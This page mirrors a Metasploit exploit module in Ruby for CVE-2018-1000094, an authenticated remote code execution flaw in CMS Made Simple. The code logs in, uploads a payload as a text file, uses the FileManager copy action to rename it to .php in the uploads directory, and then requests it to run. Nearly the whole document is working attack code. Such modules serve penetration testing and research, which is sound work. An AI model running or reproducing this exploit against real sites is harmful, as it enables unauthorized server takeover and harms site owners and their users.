Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/http/cmsms_upload_rename_rce.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::FileDropper10prepend Msf::Exploit::Remote::AutoCheck1112def initialize(info = {})13super(update_info(info,14'Name' => 'CMS Made Simple Authenticated RCE via File Upload/Copy',15'Description' => %q{16CMS Made Simple allows an authenticated administrator to upload a file17and rename it to have a .php extension. The file can then be executed18by opening the URL of the file in the /uploads/ directory.1920This module has been successfully tested on CMS Made Simple versions212.2.5 and 2.2.7.22},23'Author' =>24[25'Mustafa Hasen', # Vulnerability discovery and EDB PoC26'Jacob Robles' # Metasploit Module27],28'License' => MSF_LICENSE,29'References' =>30[31[ 'CVE', '2018-1000094' ],32[ 'CWE', '434' ],33[ 'EDB', '44976' ],34[ 'URL', 'http://dev.cmsmadesimple.org/bug/view/11741' ]35],36'Privileged' => false,37'Platform' => [ 'php' ],38'Arch' => ARCH_PHP,39'Targets' =>40[41[ 'Universal', {} ],42],43'DefaultTarget' => 0,44'DisclosureDate' => '2018-07-03'))4546register_options(47[48OptString.new('TARGETURI', [ true, "Base cmsms directory path", '/cmsms/']),49OptString.new('USERNAME', [ true, "Username to authenticate with", '']),50OptString.new('PASSWORD', [ true, "Password to authenticate with", ''])51])52end5354def check55res = send_request_cgi({56'uri' => normalize_uri(target_uri.path),57'method' => 'GET'58})5960unless res61vprint_error 'Connection failed'62return CheckCode::Unknown63end6465unless res.body =~ /CMS Made Simple/i66return CheckCode::Safe67end6869if res.body =~ %r{CMS Made Simple</a> version (\d+\.\d+\.\d+)}i70version = Rex::Version.new($1)71vprint_status("#{peer} - CMS Made Simple Version: #{version}")7273if version == Rex::Version.new('2.2.5')74return CheckCode::Appears75end76end7778CheckCode::Detected79end8081def exploit82res = send_request_cgi({83'uri' => normalize_uri(target_uri.path, 'admin', 'login.php'),84'method' => 'POST',85'vars_post' => {86'username' => datastore['USERNAME'],87'password' => datastore['PASSWORD'],88'loginsubmit' => 'Submit'89}90})91unless res92fail_with(Failure::NotFound, 'A response was not received from the remote host')93end9495unless res.code == 302 && res.get_cookies && res.headers['Location'] =~ /\/admin\?(.*)?=(.*)/96fail_with(Failure::NoAccess, 'Authentication was unsuccessful')97end9899vprint_good("#{peer} - Authentication successful")100csrf_name = $1101csrf_val = $2102103csrf = {csrf_name => csrf_val}104cookies = res.get_cookies105filename = rand_text_alpha(8..12)106107# Generate form data108message = Rex::MIME::Message.new109message.add_part(csrf[csrf_name], nil, nil, "form-data; name=\"#{csrf_name}\"")110message.add_part('FileManager,m1_,upload,0', nil, nil, 'form-data; name="mact"')111message.add_part('1', nil, nil, 'form-data; name="disable_buffer"')112message.add_part(payload.encoded, nil, nil, "form-data; name=\"m1_files[]\"; filename=\"#{filename}.txt\"")113data = message.to_s114115res = send_request_cgi({116'uri' => normalize_uri(target_uri.path, 'admin', 'moduleinterface.php'),117'method' => 'POST',118'data' => data,119'ctype' => "multipart/form-data; boundary=#{message.bound}",120'cookie' => cookies121})122123unless res && res.code == 200124fail_with(Failure::UnexpectedReply, 'Failed to upload the text file')125end126vprint_good("#{peer} - File uploaded #{filename}.txt")127128fileb64 = Rex::Text.encode_base64("#{filename}.txt")129data = {130'mact' => 'FileManager,m1_,fileaction,0',131"m1_fileactioncopy" => "",132'm1_selall' => "a:1:{i:0;s:#{fileb64.length}:\"#{fileb64}\";}",133'm1_destdir' => '/',134'm1_destname' => "#{filename}.php",135'm1_path' => '/uploads',136'm1_submit' => 'Copy',137csrf_name => csrf_val138}139140res = send_request_cgi({141'uri' => normalize_uri(target_uri.path, 'admin', 'moduleinterface.php'),142'method' => 'POST',143'cookie' => cookies,144'vars_post' => data145})146147unless res148fail_with(Failure::NotFound, 'A response was not received from the remote host')149end150151unless res.code == 302 && res.headers['Location'].to_s.include?('copysuccess')152fail_with(Failure::UnexpectedReply, 'Failed to rename the file')153end154vprint_good("#{peer} - File renamed #{filename}.php")155156register_files_for_cleanup("#{filename}.txt", "#{filename}.php")157158res = send_request_cgi({159'uri' => normalize_uri(target_uri.path, 'uploads', "#{filename}.php"),160'method' => 'GET',161'cookie' => cookies162})163end164end165166167